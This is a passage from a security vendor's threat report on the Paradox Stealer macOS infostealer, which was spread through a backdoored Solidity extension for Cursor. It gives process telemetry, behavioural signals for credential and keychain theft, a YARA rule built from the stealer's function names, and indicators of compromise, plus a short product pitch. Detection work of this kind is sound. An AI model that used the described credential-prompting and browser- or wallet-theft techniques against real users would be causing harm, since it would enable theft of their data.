</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>source_binary_path: /bin/bash
</span></span><span style="display:flex;"><span>source_signing_id: com.apple.bash
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>binary_path: /bin/chmod
</span></span><span style="display:flex;"><span>signing_id: com.apple.chmod
</span></span><span style="display:flex;"><span>process_args: chmod +x xoxoxoxxx
</span></span></code></pre></div><p>The final payload is written and launched from a transient path under <code>/private/var/folders</code>, a location that legitimate IDE helpers rarely execute arbitrary, unsigned content from. Execution originating from this directory by an IDE-associated helper represents a strong behavioural detection opportunity.</p>
<h3 id="paradox-stealer">Paradox Stealer</h3>
<p>If the payload executes successfully, the following signals form typical points of detection for infostealer behaviour, including Paradox Stealer.</p>
<ul>
<li><code>osascript</code> prompting for user credentials</li>
<li>Unexpected <code>dscl -authonly</code> authentication attempts</li>
<li>Direct interaction with the keychain by unsigned or untrusted binaries</li>
</ul>
<p>Once running, Paradox targets high-value browser and wallet data. Unusual access to browser cookie stores, cryptocurrency-related extensions, or credential repositories provides high-confidence signals that the malware has entered its data-theft stage.</p>
<p>Further analysis of the Paradox Stealer codebase shows a modular design with folders dedicated to discovery, extraction and related functions. Based on the exposed function names, Phorion developed the following YARA rule that can be used to detect the payload.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>rule MAL_Paradox_Stealer_Nov25 {
</span></span><span style="display:flex;"><span>    meta:
</span></span><span style="display:flex;"><span>        description = &#34;Compiled Go binary for Paradox Stealer&#34;
</span></span><span style="display:flex;"><span>        author = &#34;Phorion&#34;
</span></span><span style="display:flex;"><span>        date = &#34;2025-11-26&#34;
</span></span><span style="display:flex;"><span>        score = 70
</span></span><span style="display:flex;"><span>    strings:
</span></span><span style="display:flex;"><span>        $n = &#34;paradox_payload&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f1 = &#34;CheckBrowserDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f2 = &#34;CheckCryptoDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f3 = &#34;CheckKeychainDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f4 = &#34;CheckCommunicationAppDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f5 = &#34;ExtractBrowserData&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f6 = &#34;getMacOSPasswordViaAppleScript&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f7 = &#34;GetIPInfo&#34; ascii wide
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    condition:
</span></span><span style="display:flex;"><span>        filesize &lt; 10MB and
</span></span><span style="display:flex;"><span>        (uint32(0) == 0xfeedface or    // the mach magic number
</span></span><span style="display:flex;"><span>         uint32(0) == 0xcefaedfe or    // NXSwapInt(MH_MAGIC)
</span></span><span style="display:flex;"><span>         uint32(0) == 0xfeedfacf or    // the 64-bit mach magic number
</span></span><span style="display:flex;"><span>         uint32(0) == 0xcffaedfe or    // NXSwapInt(MH_MAGIC_64)
</span></span><span style="display:flex;"><span>         (
</span></span><span style="display:flex;"><span>            uint32(0) == 0xcafebabe and    // Mach-O FAT binaries
</span></span><span style="display:flex;"><span>            uint16(4) &lt; 0x30               // Avoid Java classes
</span></span><span style="display:flex;"><span>         )) and
</span></span><span style="display:flex;"><span>        all of them
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="phorions-approach">Phorion&rsquo;s Approach</h2>
<p>Phorion&rsquo;s macOS-native EDR detected and prevented the Paradox Stealer payload before it could execute. This matters in the context of infostealers because detection alone is rarely enough to protect sensitive data. Once a process reaches browser storage or keychain paths, the window to prevent theft is small.</p>
<p>If an infostealer does execute, Phorion&rsquo;s cookie theft protections provide an additional layer of defence. These controls block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. The design interrupts infostealers early in their workflow and significantly reduces the chance of data leaving the device using a behavioural methodology.</p>
<p>Effective investigation also depends on visibility. Phorion collects extension metadata from IDEs such as Cursor and VSCode, enabling rapid identification of hosts running malicious or backdoored packages. This shortens the investigation cycle and simplifies response during active incidents.</p>
<p>Interested in how Phorion defends macOS endpoints against threats like Paradox Stealer? <a href="#cta">Get in touch to arrange a demo</a>.</p>
<h2 id="indicators"><strong>Indicators</strong></h2>
<table>
	<thead>
			<tr>
					<th style="text-align: left">IOC</th>
					<th style="text-align: left">Type</th>
					<th style="text-align: left">Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left"><code>c0325074a01db097d0dcddfe5f792f7d6da5c719</code></td>
					<td style="text-align: left">SHA1</td>
					<td style="text-align: left">package.json</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>8786e4c0ee4bee8fc16902b5090c26c17a3ef4ec</code></td>
					<td style="text-align: left">SHA1</td>
					<td style="text-align: left">webpack.js</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>48e041224a58e967741bfdc5837e589af34e6a9a</code></td>
					<td style="text-align: left">SHA1</td>
					<td style="text-align: left">Paradox Stealer Binary</td>
			</tr>
			<tr>
					<td style="text-align: left"><code>function[.]undefined21[.]com</code></td>
					<td style="text-align: left">Domain</td>
					<td style="text-align: left"></td>
			</tr>
			<tr>
					<td style="text-align: left"><code>xoxoxoxxx</code></td>
					<td style="text-align: left">Binary Name</td>
					<td style="text-align: left"></td>
			</tr>
			<tr>
					<td style="text-align: left"><code>~/.cursor/extensions/ether.solidity-0.0.191-universal/</code></td>
					<td style="text-align: left">Path</td>
					<td style="text-align: left"></td>
			</tr>
	</tbody>
</table>
]]></content:encoded><category>Cursor</category><category>Open VSX</category><category>Paradox Stealer</category><category>SleepyDuck</category><category>Infostealer</category><category>Threat Report</category><media:content url="https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/social-card.png" medium="image"/></item></channel></rss>